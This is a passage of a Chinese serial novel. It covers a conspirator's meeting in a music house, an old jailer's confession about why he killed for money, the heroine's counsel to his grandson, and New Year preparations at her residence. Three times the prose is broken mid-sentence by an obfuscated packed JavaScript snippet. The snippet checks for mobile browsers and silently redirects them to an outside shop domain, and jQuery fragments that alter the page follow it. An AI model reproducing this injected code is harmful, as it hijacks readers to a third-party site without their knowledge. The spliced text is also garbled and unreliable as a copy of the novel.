周冶道：“正是这话。我令他日日去送饭，也算是日日向衙门报到。小姐想见他，饭点去就行。” “对，这都快到饭点了。”孟珂道，“也不急于这一时。咱们先用过饭，再从长计议？” 周冶笑着向洗墨几人使了个眼色，说道：“对，不急。” 孟珂借口去安排饭食，留了卢宽和周冶说话，自己先离开了，出了那二人视线，就低声吩咐回雪：“去查查袁家的事。” 回雪应声要去，孟珂又拉住了她，“等等，这事还需要一个人……” 吩咐完，又嘱咐道，“做得隐秘点，别让盯着的人发现。” 等用过饭，上过了漱口茶，周冶问：“小姐可有什么想法？今日可有空去见见那老袁头？” “我倒有空，但此事急不得，咱们还得等一个人。” 周冶道：“什么人？” 有人虽只在曾怀义的葬礼现过一回身，可一直没走呢。孟珂笑道：“后日就是除夕了——底下小的们没得选，可有些人，是不会留在这儿过年的。如今曾怀义的案子已经了结，总归要回去覆命，没有一直逗留下去的道理。” 周冶笑，他没说盯着袁家的人是谁，她也不问，自然便是心知肚明了。既已结了案，老袁头也没事，可不是该走了。人一走，老袁头那边的眼线就松了，说不准就全撤了。 *** 此时，长乐坊门口，一个老嬷嬷陪着个头戴帷帽的年轻女子，抱着琵琶进了门。一老一少径直上了楼，到一间客房门前，有节奏地轻敲了两遍，便自行推门而入。 屋内坐着个男人。 女子取下帷帽，却是梁夫人。 她这日一身丫头装扮出了门，一路周转，途中换了马车，又改了身歌女装扮，才到了这乐坊。 男人端起茶盏，抬眼看她，开门见山道：“动手之前，你可没说，对方是卢府小姐！” 梁夫人在一旁坐下，笑道：“弟兄们都是隐匿行迹的高手，不会让人抓到一丝把柄。那对方是什么府的小姐，又有什么要紧？” 男人呷了一口茶，冷声道：“这种事，没有下回了！” 梁夫人笑着应了：“是。不过，今日叫我来，不是为了这事吧？” 男人点点头，放下茶盏：“人已经除了，案子也结了，我是时候该走了。这临走之前，有些话必须说。” 男人转头直视着她，手在桌上轻轻敲着，一桩一桩数道，“曾怀义就这样送了命，罪魁祸首没抓到，还闹上了衙门，闹上衙门也就罢了，还结不了案，反倒让我来收拾烂摊子……” 梁夫人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999135|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一脸委屈地打断道：“还不都是那樊仲荣！他仗着卢府的势，突然来这么一出，杀了曾大人和我们一个措手不及。我们就只慢了半步，好歹擒了那樊仲荣，可惜……还是让他给跑了！” 她早想定了，一推二五六，全赖给樊仲荣和卢府。 樊仲荣的被抓，又被劫走，是确有其事；而他与卢府的关系也不假。赖到卢府头上，既顺理成章，他还轻易查证不了。 朝堂上这些人，背后斗得你死我活，可那些事却不会当面说开，更不会事事求证，即便是说开了，也不会相信对方嘴上说的。 梁夫人继续浇油道：“此人如此胆大包天，还能从我们手中走脱，要说背后没有卢府的支持，怎么办得到？” 说完，她小心看着男人的脸色，心道，他就算不全信，就算对曾怀义的死有所怀疑，到底也没证据，牵扯不到自己身上。 果然，男人深深地看了她一回，半晌没说话。 过了好一会儿，他才意味深长地道：“这曾怀义……不是死不得。只是，擅动我们的人，打我们的脸......” 梁夫人咬死了道：“他仗着卢府的势，哪里还把其他人放眼里，谁的脸不敢打？” 男人看着梁夫人，笑道：“真是他所为，也不算什么。不过你吃我一子，我断你一路，有来有往，且有得下呢。只是……” 男人目不转睛地对着梁夫人，不走漏一丝痕迹，“只要别是自己人搞鬼才是。你也要往这条路子上想一想，查一查。要知道，上头最容不得的，是心怀异心的自己人！” 梁夫人粉面含笑，一点波澜也无。 男人继续道，“这舌头和牙齿尚且要打架。上头自然知道，底下人之间，哪能没些恩怨纠葛，利益纷争的。小算盘不是不可以打，只是，要顾全大局。背地里做了什么事，也要做周全。别说私人恩怨，便是办差，只要惹了事，牵扯出有的没的来，让上头难做，那就只有一个字了。” 这个死字。不需说，都知道。 反驳辩解倒惹嫌疑，梁夫人只能连连点头附和，喝茶掩饰。 男人也看着她，各自慢悠悠地喝着茶，打着自己的算盘。 曾怀义突然死了，上头对绥陵这一摊子的打算未定。他此来本就是稳住下头的人，并观察看看，容后再定夺。 现在还不是撕破脸，也不宜打草惊蛇，于是，他话又放软了些：“到底是谁做的，也不那么要紧。他曾怀义又不是无人可替代，谁能把这摊子事办好，才最紧要。” 听话听音，梁夫人笑着应道：“谁说不是呢。” 正高兴着，听得话音又一转：“对了，曾怀义身边那个高升……” 梁夫人刚刚绽开的笑脸登时一僵。当初是打算连他一起除掉，一并都推给樊仲荣的。谁料，樊仲荣指明了让曾怀义一人赴约，曾怀义还真就一个人去了。走脱了个高升不说，还让他闹上衙门，折腾出好大动静来，闹得她脸上这么不好看。 可气的是，这高升先是天天住在了衙门，如今还把自己搞进了大牢，她一时倒不好下手。 男人道：“这个人，好生留着。” 梁夫人想说什么，又顿住了，应道：“知道了。” 门上响起轻叩，男人问：“谁？” “茶点备好了。”正是这间房的主人，乐妓茵儿。 “进来。” 茵儿乖觉，放下东西，便道：“若没什么吩咐，我就先下去了。” 这时，只听一声断喝，“谁？” 三人随即听得窗户响动，一个黑衣人不知从哪里闪身而出，一路追了出去。几个人都不动声色，只当无事发生。 男人一摆手：“行了，你先去吧。” 茵儿只当同她说话，忙退了下去。男人却转头对梁夫人道：“你先去吧。” 梁夫人怔了怔，起身重戴起帷帽，才抱着琵琶出去了。 待她走过隔壁屋，原就开着的门缝又大了些，一双眼睛看着她的身影款款下楼，消失在门外，才推门出来，转身进了隔壁屋子。 男人抬眼看来人，笑道：“来，坐！” 茵儿一看，此人正是三州商会会长梁云钦，常同曾怀义一起的。 当夜，一辆马车自长乐坊后门出发，一路出城而去。 不多时，熹园内就得了报。孟珂笑道：“明日可以去县衙，见见这个老袁头了。” 39. 祖孙 老袁头一见孟珂和周冶，噗通一声又跪下了：“都是我一个人干的，不关我儿子的事。杀人偿命，我绝无二话。” 翻来覆去就这几句话，周冶听得耳朵都生茧子了。 孟珂走上前去，柔声道：“老人家，快起来。” 老袁头诧异地抬眼看她。 孟珂使个眼色，让人去扶：“我家中祖母，也是老人家这般年纪，若让她见我这般待人，该责罚我了。看座。” 老袁头看了看周冶，见没反对，好歹起了身，但哪里敢坐，躬身站着，像根僵硬又糟朽的木头。 孟珂含笑道：“老人家放宽心，我不是来审你的。我不过偶然听周大人与兄长说起，您家两代人周济绥陵百姓之事。我虽是闺阁女儿，却也感佩您行善一生，良善传家。这才央着周大人，让我见见您。” 老袁头道：“惭愧！惭愧！小姐这话，我实在当不得。” “您做了一件错事不假，可积德一生也是真。功是功，过是过。不能因一废全。”孟珂顿了顿，又道，“再者说，您不过是一把刀，真正作恶的是那握刀之人。” 老袁头一脸愧色，低下了头：“两条人命断送于我手，可我只一命，难赎其罪。尤其，还有个半大孩子……跟我孙儿，也是差不多年纪。” 孟珂淡淡地道：“这背后指使之人，是您故人吧。” 这话在老袁头耳中却如惊雷炸响，他震惊得睁大了双眼，看着孟珂，一时没敢说话。 孟珂知道猜对了，笑道：“这人是谁，并不难查。能找上你，说明对绥陵衙门里两代人的事都清楚。这杀人灭口的手腕，也是牢里用惯了的。有这两点，如今还有权势，足以拿捏您的人……可并不多。” 老袁头低埋着脸，恨不能把自己整个埋进地里去：“都是我一个人干的，都是我一个人干的......” 孟珂笑着走开：“既然是有手段，又有权势的人——您一家人的命都捏在人家手里，自是不敢说。我也绝口不问。” 老袁头抬眼看她，似乎想看她说的是真是假。 “您说不说，是您的事。周大人能不能查出，那是周大人的事。我何苦为难您呢？” 孟珂一脸事不关己的样子，却看着老袁头的脸色，轻轻拨转着话头，“我只是替您可惜，一生清名，就这样毁于一旦了。我倒想问问……你为何愿意这么做——这不打紧吧？” 一旁的洗墨哼了一声，嘀咕道：“威逼利诱呗，还能为什么？” 话音未落，就听孟珂道：“您在牢里几十年，威逼利诱自然没少见，可一直都守住了。为什么偏偏这次就......愿意了？” 屏风后，一个人影骤然动了动。 *** 明明守住了一辈子，为什么偏偏这次就“愿意”了？ 老袁头嘴角一扯，苦笑了笑，半晌，才叹了口气，似是自言自语地道：“我老袁头，顽固了一辈子。一辈子看着别人吃肉，我喝汤。可我一直觉得，没什么。” “我在大牢里干了大半辈子。穷凶极恶之人，坑蒙拐骗之徒，杀人、放火、劫掠的……见了太多了；那些‘吃肉’的法子，也知道得多了。可世上最悲、最苦的，也见多了——我日子再清贫，好歹有份公家的差事，跟那些人比起来，实在没什么好抱怨的。咱们黎民百姓，一辈子，平平淡淡才是真。我也是这么教儿子，教孙子的。” 一说到孙子，老袁头就红了眼：“我一直觉得，我活了大半辈子，早活明白了。我教孩子的，也都是对的——直到孙儿出了那事……” “他虽然捡回了一条命，可日后即便能重新走路，也会不良于行。” 他长长地吐出一口气，“他是个好孩子，从不惹事生非，对高仲那些人，也忍让过多回了。我总同他说，咱们惹不起躲得起，远远儿地避着就是。可那些人……就是不放过他！” 两行老泪在那沟沟壑壑的脸上迤逦而下，老袁头抬手抹了一把，语带哽咽道，“那日，要不是……要不是那高仲想娶的黄家大姑娘去拉架，他只怕当场就得死在那儿。可那高仲，当日就大摇大摆从衙门里出来了。” 说到这儿，他对着周冶一拜，“小老儿此言不是怪大人，我知道，大人您的难处。我好歹也是当了一辈子差的，衙门里那些道理都懂。要不是大人您，那高仲连大牢也不用进。” “就是高仲被大人您收监的那日，我那儿子回家，喝了一晚的闷酒。喝多了，一个人在那儿偷偷抹泪——也不敢让他媳妇、他娘看见。他说，儿子都差点被人打死了，仇人都到了自己手里，他却下不了手，不能给孩子出个气、报个仇。他恨自己没用！” 老袁头抬起手来，对着胸口又拍又捶又抓，仿佛有百爪挠心，他想将那百爪都硬生生揪出来，“那孩子，让我教得太心实了！” 周冶知道，高升那时日日着人去看，又在牢里百般疏通。牢里诸人，虽有几个替袁家不忿的，但也顾忌着曾府势力，也不敢明面上得罪，顶多让他吃些说不出来的暗亏。后来还是他授了意，才让高仲着实吃了些苦头。 “都怪我！”老袁头揪抓着胸口，“都是我把他们教成那样的。他们爷俩……一个、两个，都让我给教得太良善了！” “我那实诚儿子……只怪他自己没权没势，让孩子受人欺负。他更怪的，是自己竟然没法还手，只能一拳又一拳捶在自己胸口，一句又一句恨自己无用、无能，一直捶到口吐鲜血……” 看老袁头拽着胸口的手越来越紧，紧到周身都跟着紧绷起来，整个人颤成了北风中的枯枝。旁边几人都怕他下一刻就会把自己拽断，厥倒，可他愣是这么几乎抽搐着说下去了。 “其实，该怪的人是我！是我！是我无用，无能，是我把他们教成这样，是我愚顽，害了他们！” 他喃喃道，“他们都是好孩子，只怪我一辈子守着些无用的良心，不使脏污黑钱，更不忍收那烫手的卖命钱……还把他们教成了只能任人欺负的性子。” 屏风后的人影，肩膀陡然一耸，将脸埋进了手中。 顿了好一会，老袁头的手渐渐松了些，旁边几人屏住的气也跟着松了些。 只听他讥笑道，“我们当年一起的老伙计，人灵光的，早就得了好门路，过上了好日子。儿孙自然也节节高，如今都是老爷公子了。可我呢？让孙子被人差点打死，让儿子只能恨到打自己……” 高升去袁家商议和解的那夜。他看着儿子又喝了一夜闷酒，最后对他道，“爹，我想好了，和解吧。我恨不能拿银子，一锭锭砸在他父子身上，一锭锭打死那高仲，可……孩子的腿已经那样了，日后接不了我的班，连生计都是问题。人总要向前看，有点钱备着，他日后……总要吃饭的。” 老袁头一双浑浊的老眼看向孟珂和周冶，陡然放出带着些魔怔劲儿的精光，似乎向他们宣告，又似乎在向他们求证：“我要是……要是像其他人那样，要么攒下些家底，要么给儿孙铺条路。他何至于含恨去接那仇人递过来的、买他儿子命的银子？可我什么都没能为他们做，还把他们教成了这样。” “明明守住了一生，为什么这次愿意了？”他仰头笑了起来，花白的胡子扬起来，跟着乱颤，“就是那一夜！我这颗老兄弟们骂了一辈子的榆木疙瘩脑袋，开——窍——了！” “那高升虽舍得，给的钱不少。可孩子没了生计，还能指着那笔钱过一辈子？他以后怎么养他的妻儿老小？我这把老骨头，一辈子都没什么用，临了能卖几个钱，给孩子多少留点傍身之财，就算是……我对他们的一点补偿吧。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999136|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老袁头突然想到了什么，笑了，“那高升，想当年也叫我声袁叔。他老子进大牢的时候，我没少为他娘俩行方便……可人发达了，袁叔便是老袁头了。等他再叫一声袁叔，重提当年那点来往，却是让我们不要与他儿子计较……孩子的性命也能不计较？” “拜高踩低，忘恩负义，那些都是寻常，也都不打紧。可小老儿活了一辈子，临了，才真正活明白了‘无钱无势’这四个字。” 他嘲道，“也不知是幸，还是不幸。我若早些遇到事，不知今日是何模样，也许跟一些老兄弟一样，也许……也还是这个窝囊样，知道了也还是改不了！就跟我那窝囊儿子一样！” 说完，他摇了摇头，不再说话。 “祖父！” 这带着哭腔的声音一出，老袁头猛然一怔。 屏风后，侍剑搀扶出个人来，正是小袁。 “祖父，您其实看出来了吧？”小袁边走边哭道，“您看出来了，我心里埋怨过父亲，埋怨过您，埋怨过为何生在这个家？父亲也看出来了是吧？都是我的错，是我不孝，是我.....” 见孩子泣不成声，老袁头陡然红了眼，忙扭开脸去，想说什么却哽咽到说不出来，只拨浪鼓一样摇着头，抬手捂着脸，不让孩子看。 小袁道：“那高仲每每揪着我不放，就是因为两家熟识的缘故。我是想过，怨过，为何他能出生富贵，日子过得那么轻松，想欺负谁欺负谁。不就因为投了个好胎，不就因为他爹会钻营？” “而我爹，我祖父，连为人担干系、行方便的银子都不肯拿一分，还要我处处忍让这样的人，还要我继续做这样窝囊的人，吃苦受委屈。我就要这么过一辈子么？我的儿子、孙子也要这样么？我们袁家就要这么一代又一代......吃苦下去、窝囊下去，过那看不到尽头的憋屈日子么......” 他看了看自己的腿，带泪笑道，“我捡回一条命的时候，你们都高兴坏了。可我心里其实……其实恨不能死了算了。日子本来就苦，就窝囊，下半辈子再是个废人，我心里就什么生念都没了。对你们也就......更气、更怨了。” 说到此，他看向孟珂，“不过，祖父，小姐让大夫给我看过了，说能治好我的腿，只要好生调养，以后行走并无大碍。” “真……真的？”老袁头高兴得声音都颤了，转回脸来，看向孟珂和周冶，“真的不会大碍？” 二人都笑着冲他点点头。 老袁头颤巍巍几步上去，把住小袁的肩头，拍着孙子的背，无意识地摩挲着道：“好！好！好！你没事就好，也不枉我……” 说着，又住了口，满心满眼的愧疚。 “祖父，”小袁道，“小姐和大人还说了，会给我找一条生路，让孙儿今后能自力更生。祖父不必再担心了。” 孟珂也道：“老人家，您考虑得很对，一辈子说短不短，指不定要遇到什么坎呢，人不能坐吃山空，孩子也需要一份倚仗。令孙儿的生计，我和周大人在此应了。只要他踏实肯干，定能安身立命。若他还有些本事，自有他的前程。” 老袁头闻言呆了半晌，也没道谢，只迟疑道：“小姐，小的不敢说。” “这不是交易。” 孟珂道，“您说与不说，这事我都应下了。您这般积善之家，原不该遭此横祸。” 老袁头低头沉吟了半晌，又道：“就算小老儿敢说，贵人们听了也是要后悔的。” 他看了看周冶，又看了看孟珂，“大人和小姐，先后于我有恩，那便更不该给你们找上那泼天的麻烦——那小老儿便是以怨报德，生生世世不得赎其罪了。” “我是个没用的人，甘愿舍得这把老骨头，可你们年轻又尊贵，可不要折进那无底深渊里去啊......” 40. 选择 安顿好了袁家爷孙，周冶亲自去送孟珂。两人并排走着，朝县衙临湖的后门走去——她是避着人，坐船来的。 周冶不时微微侧头，居高临下地打量着她的侧脸，心内不由道，明明是这么柔媚的女儿家，做事却偏有些男儿气概。 寻常女儿家，哪会不管不顾地将那死命扒拉着床不肯走的小袁给直接抢了来；又哪会一句话都不劝，直接使唤人上去，摁住了手脚，强行让大夫看伤的。 等大夫看完腿伤，断语一下，小袁那死了大半的心，就活了一小半，眼中久违地有了一丝活气。 孟珂不废话，单刀直入，只问他一句话——以后想干什么，能干什么。 生计有了着落，小袁就活过来大半了。 等知道不只有生计，竟还有前程可奔的时候，他原本昏黑到一丝光亮也无的人生，顿时亮堂了起来。 原本躺在床上没有一丝精气神的小袁，又是高兴，又是难以置信，其间还夹杂着几分忐忑，但对那骤然改道的人生，已经肉眼可见地跃跃欲试了。 孟珂看他这样，含笑看了周冶一眼，意思是大功告成了。 周冶也笑，对啊，要解开小袁的心结，单靠劝说，讲道理是没用的。 莫说他只是个少年，便是活一辈子的人，也大多只活在一大堆看谁谁有理，偏偏相互间又是南辕北辙的道理中，囫囵一生罢了。什么劝解，什么道理，都不如替人解决现实的困难实在。 小袁是个有点害羞的老实孩子，谢了几句，大概又觉得自己话说得不够漂亮，咬了咬嘴唇，干脆闭口不言了。 孟珂知道他拘谨，吩咐了大夫好生替小袁诊治开方，便要出去。 一只脚要踏出房门了，她又转过身，隔着大夫仆从，远远地对小袁道：“你生在这样普通小城的普通人家，没有富贵，也没有荣华给你坐享——这起手牌算不得好，也从出生起就注定了，你这一辈子，不会太容易。” 小袁闻言看着她，眼中有点疑惑与茫然，不知这位小姐为何会说起这来——对她今日所做的一切，也都是疑惑和迷茫的。 只听那小姐继续道，“但是，也算不得坏。你父亲、祖父，有个安稳的营生。日子清贫，但也不曾让你受饥寒，不用卖身为奴，更不用沿街乞讨……” 小袁的脸倏地红了，是他抱怨的话不知怎么传到了别人耳中，还是让人看出来了？ “你祖父一生清正，没像其他人一样赚那牢里的买命钱。如此，没让你生来就当少爷，但也因此，没给你带来灾祸。很多时候，人只看到贼吃肉，却没看到贼挨打——牢里那些捞钱而丢掉差事，搞掉性命，甚至带累一家子的狱卒，可不要太多。” 小袁的脸微微抽动了一下，又被人说中了——是啊，他不是不知道的。打小见过的那些爷爷、叔叔里，哪些人摔了大跟头，他哪里不知道呢？ 孟珂道：“享父母福的你看得见，可因父母造孽，祸及自身的，你也要看得见。那高仲的好日子，能过一辈子吗？如今可不就变天了吗？自然，他好歹还享受过，比那从头开始吃苦的强，可他这辈子还没完呢——焉知他不会把吃的都吐出来，多得的都还进去呢。” 小袁像个做错事的孩子，垂下眼，僵着脖子，把脸一点点埋了下去。 “你心不平，气不顺，都是正常的。这不是你的错。” 闻言，他僵着脖子，猛地抬脸看向孟珂，视线却慢慢模糊了。 “世人都会这样想。谁也不想过苦日子，谁也不想受委屈、挨欺负，谁也不想明明什么错都没用，还要躲着人走......” 他那从未被人挑破的心事，就这样被一个从未见过的小姐挑开了。这些年所有的委屈，在一个个日夜里憋着的怨愤，这一刻，悉数冲破了那原本就已形同虚设的压制，又从眼里流了出来。 “我说这些，不是要让你无怨尤，也不是要让你甘贫乐道。只因你现在还小，很多事情还看不懂，想不周全，我才想同你说一件事——很多事情都有另一面，你要学会看到藏在背后的那一面，才是个心明眼亮的人。” “譬如说，你家的坏处你已经知道了，好处呢？你有没有去看过？” “譬如说，你祖父心慈手软，无法与人争利，但也正因他的心慈，没养出贪利、心凶手狠的儿子。你父亲没有周围那些父亲身上比比皆是的坏毛病，没有滥赌、好酒、好吃懒做、打妻骂儿......” “你们家风清正，每个人都良善，都踏踏实实地过日子——但凡看看周遭，你就能知道，即便只是这样没大毛病的亲人，不折腾的人家，没有一两个坑货的人家，就已经算难得。一个人也好，一个家也罢，只要不出大错，就不会太差。” “而最最难得的是，他们每一个人都真心爱你。你母亲恨不能把自己的腿给你。你父亲为你的伤恨自己无能，把自己生生捶到吐血。你祖父，更是为了你，把自己坚守一辈子的东西都扔了，豁出自己的命也在所不惜——就只为让你有一条活路。” 说到家人，小袁更泪如泉涌，又觉得大丈夫哪能这么在人前哭呢，也太没用了，忙抬手囫囵抹着，可眼泪一时却停不下来。 孟珂看着他道：“人这一辈子，一双眼睛若只看着那不好的地方，一颗心若只念着那不够的地方，你就会一直受苦，让原本就不容易的日子变得更苦。” “但你若看到了不好，也知道去看那好的地方；心中知道缺什么，也知道念着你拥有的东西，那你就能看到光亮。你那有着诸般不足的家，有着各种毛病的家人，充满烦恼苦累的每一个日子，也就能比较平心顺气地过下去。而这，不是为了任何人，只是为了你自己。” 说着，她转过身去，看着门外，幽幽地道，“要活在抱怨苦痛里，还是温暖光明、安宁平和之中，就是你自己的选择了。” *** 周冶脑中闪回着孟珂今日这两出戏，半感慨半试探地道：“小姐今日对那祖孙的两番话，可谓在情在理——若是头一回见，还真看不出来……其实另有目的。” 孟珂站住了，转脸看他，也没生气，淡淡地道：“没错，我是另有目的。我达成了我的目的，但他们又何尝吃亏？” 周冶还未及答话，孟珂笑了笑：“大人用不着草木皆兵，处处提防、试探的。我们不是敌人——至少现在不是。” 周冶转圜道：“我自然知道，你帮他们也都是真心的......” 孟珂却打断了他，自嘲地道：“真不真心，没那么重要。” 这世上最大的一个误解便是，以心就能换心；你真心对人，便能换来真心以待。 真心是最难能可贵的。 可在世人眼中，真心也是最不值钱的，遇上事的时候最先被抛弃的。 大多数人怎么对你，不是看你的心真不真，而是看你能给他们带来利益，还是威胁：能带来利益的时候，就会凑上来捧着你；能威胁他们身家性命的时候，又都会让着你。 若你只有一颗真心，那等着你的往往是被欺骗，被利用，被算计，被无视……没有利刃守护的真心，是会被践踏的。没有怒目金刚守护的菩萨，也是坐不住庙的。 你的真心，往往会被生生地剜出来，让人踩在脚底下，碾入泥里，搓磨进沙石之中——反正他们这么做，一不会失去利益，二不会受惩罚。 真心，也许可以管用一时。 但一个人真正的待遇，长期稳定的待遇，是你的实力决定的，是你有没有伤害、惩罚他们的能力决定的。 哪怕在最不计较利益得失的父母子女之间，软弱无能的一方都会被拿捏，被肆意对待，又何况外人呢？ 这，才是大多数普通人的人性。 周冶看孟珂脸上似被搅动起风云，一时晦暗不明，却不知到底搅动了什么。 她脸上几经变换，好在很快便风歇云散。 “我的话真不真，心真不真，于他们来说都没什么用。给小袁治好腿，安排好生计，才是真。给老袁头，留下一把老骨头，才是真。” 孟珂面带讥嘲道，“我今日会管这摊事，是因为他们对你我有利。而我能管这摊事，是因为我有能力。若我今日没能力帮他，便是有再真的心，又有何用？老袁头对儿孙的心不真吗，有用吗？” 一口气说完这一通，她连告辞都没说一句，便转身而去，独留周冶怔在原地。 这是真得罪人了！真戳着人痛处了！ 周冶一边懊悔，一边回想着她最后这一通话，她若真从利益来盘算，就不该说这番话，也不需要做到开解小袁的那一步。 今日好歹是做了件利人也利己的好事，她本该揽功， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999137|193939||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 即便不揽，也不该否认，可她偏偏...... 这份利，就摆在面前，受之无愧，她却推开了。 但这番真真假假、假假真真的话中，周冶觉得自己仿佛抓到了点什么，却一时也没抓明白。 “试探别人，试探出问题来了吧。” 有人突然出声，周冶吓了一跳。 转头一看，见是洗墨不知何时站在了他身后。 他抬眼望去，看着不远处，正登舟而上的身影，叹了口气。 “她这个人太聪明了，聪明到……我总觉得，一些看似简单明白的事情，背后可能还藏着什么我没想到的深意。便总想要试一试，探一探……” *** 这是除夕前夜。过年的诸般准备事宜，都得在这日做完，第二日便只管阖家团圆了。 孟珂以此为由，把卢宽留在了熹园，替她接着盘点各府送来的节礼，登记造册，修书回礼。更重要的是，要按他那天上有地上无的审美，装点装点熹园，也好有些过节气氛。 她装作躲清静，只道是出去游湖，上衙门折腾了半日。 回来一看，熹园内焕然一新，大红灯笼一挂，桃符一悬，一派生机喜庆。 难得的是，这派喜气不是铺天盖地的红，颜色用得少而精，物件儿也都别致。 也难为卢宽能找出那么多不同的红色物件来，样样都巧思装点。光是红灯笼，就有大气饱满的，高悬于门廊亭台之上；也有小巧精致的，在院里院外挂了一树又一树。光是不同形态的树，就挂以不同形状大小的灯笼，有圆的，有柱状的，也有红鱼之类动物形状的，有单个的，有成串的…… 她一路走，一路看，四处贴着不同字体、图样的红色福字，还到处摆上了盛开的时鲜花卉，其中好些压根说不上名字的红果插枝，有的结着小而圆的红色小果，有的结着辣椒一样的大果。每一种都搭配形色不一的瓷器，倒极别致新巧。 廊下还挂了各式风铃，有剪纸的，有打彩结的，有饰以仙鹤衔红梅的，有双鱼戏水的，下面都坠着万事顺意、新年大吉、安康喜乐之类的吉祥话。风一吹，铃一响，便算是诵过那些祝福一回。 各式盆栽上，还挂了丝带、彩节，剪纸镂空的小字、小画...... 熹园人虽少，没有卢府的热闹，倒也是个过年的样子了。 孟珂一路看进去，还没进烟雨斋，就听到卢宽在对着满院子人颐指气使的声音。 “那帷幔谁挂的？这个院子清新雅致，怎么能挂那么艳的？俗气！换！给我换……那边那个谁，你怎么挂的，跟上吊一样？你过年呢，闹鬼呢？还有你，去再折些......红梅来。这点缀要有，但也得画龙点睛……” 随着他满院子指挥，下人们拆的拆，取的取，去库房的去库房，折花的折花…… 旁边李管家一脸头皮发麻的样子，孟珂瞧了忍俊不禁，这样的折腾想必已经半日了。对着这位骄矜事多的二公子，他也只有在走开的时候，偷偷皱个眉，叹个无声的气，连小姐迎面走来也没看见。 她拦住了管家问：“节礼都造册入库完了吧，可有什么需要我知道的？” 李管家忙刹住了脚步，先请了罪，才回道：“也就是咱们初来时，来拜会过的那些人家，礼嘛，依小的看来也没什么特别的。礼单可要送来，让小姐一一过目？” 孟珂摇头：“也没什么紧要的，你按老规矩办就是了。对了，陈府的思园送了什么来？曾府可有送？” 李管家一一答了，孟珂又问：“周大人的礼可送去了？” 李管家不知何意：“县衙的，不是早几日就按例送了？” “按例可不行，得再备一份厚礼，由李管家你亲自上门送去。今日就要办妥。” 看李管家一脸疑惑，要问不问的，她又道，“这事怪我，一时忘了吩咐，多补一份就是。” 卢宽不知何时走了过来，扫了她二人一眼问：“这却是为何？” “答谢他......那夜在湖边的救命之情。” 这城中想必都传开了，备一份厚礼去，才显得正常。 她之前说到刺杀之事的时候，可没提周冶出手救人这茬。卢宽深深地看了她一眼，嗓子里“哦”了一声，点头道：“这样啊，那是得……好好谢谢那位周大公子。” 41. 消解 阿珂连周冶救人都没提，不知还隐瞒了些什么。卢宽本还想再说什么，可下人正好来报。 “小姐，烟花送来了。” 孟珂给回雪使了个眼色：“你亲去瞧瞧，我特别要的那几样，做得怎么样。” 卢宽看着回雪去了，似是无意地道：“听说，这一带有个白水门。” 孟珂点头“嗯”了一声，又转头看他：“二哥哥怎么也关心起这江湖上的事了。” “我听说……那门主是个难得的美男子。” 孟珂一听笑了：“怎么，二哥哥想跟那人比美？” “那自然是……不能跟我比。”卢宽头一昂，嘲道，“一个江湖草莽，即便面皮生得好些，那气度、风姿能跟我比？” 这卢宽也实在是个奇人。 一个大男人，却天生比大多数女子都还爱美。他不只爱美、好美、臭美，还早早儿就脱离了自信，一径往那自傲的路上奔去了。好好儿一个玉面公子，就因为俾睨天下美人，生生给自己搞出了一副好笑模样。 孟珂进卢府不久，有一回，见他拿了一卷画来，兴兴头头地递给她。 “送给你。” 他这样没头没脑地也不是头一回，孟珂也不奇怪，顺手展开那卷轴一看，却愣住了。 那画上，竟是他卢宽自己。 孟珂抬起一张震惊脸：“……” 她还以为是什么名家画作，再不济也得跟她这个收礼人有些关系。谁想，那竟是一幅单纯地、不遗余力地展示他卢宽绝妙风姿的画像。 卢宽得意地道：“我特意找京城最好的画师画的，画了一套，特意选了这张好的，送你！” 他满脸“瞧我多看得起你”的样子，说着，还指着画上的印，“喏”了一声道，“还有我的私印。” 孟珂：“……” 我有问你要吗？我有说过想要吗？这世上，还能找出第二个，把自己画像当宝贝送人的吗…… 孟珂那时不怎么爱搭理人，自然也不怎么说话。但那一刻，看着卢宽的骚操作，心里的话那叫一个风起汹涌。脑子里此起彼伏的念头，那叫一个百转千回。 可卢宽浑然不觉有什么不对，一脸傲骄地道：“我只送你，其他人都不配……” 孟珂：“……” 承蒙你看得起？她那颗死水般的心，继目瞪口呆、无言以对之后，又满眼的哭笑不得。 别说要点脸的、好人家的公子了，便是那戏台上的优伶、京中的花魁——那些靠脸和名声吃饭的人，也没见谁自己去找人画像，再拿着送人的——还要加上自己的私印！证明是他本人亲自严选。 卢宽哪知孟珂的思绪已经飘到了多年前。 他风度翩翩地走到一旁，仪态万千地坐下，又整了整原本就既没褶皱、也没乱飘的衣服下摆，才又一扬手道：“别说什么白水门门主了，便是那什么潘安、宋玉，什么徐公、卫玠、高长恭的……也就那样！也就是没跟我同生在大历朝。不然，史书上的男子美名，哪有他们的份儿？” 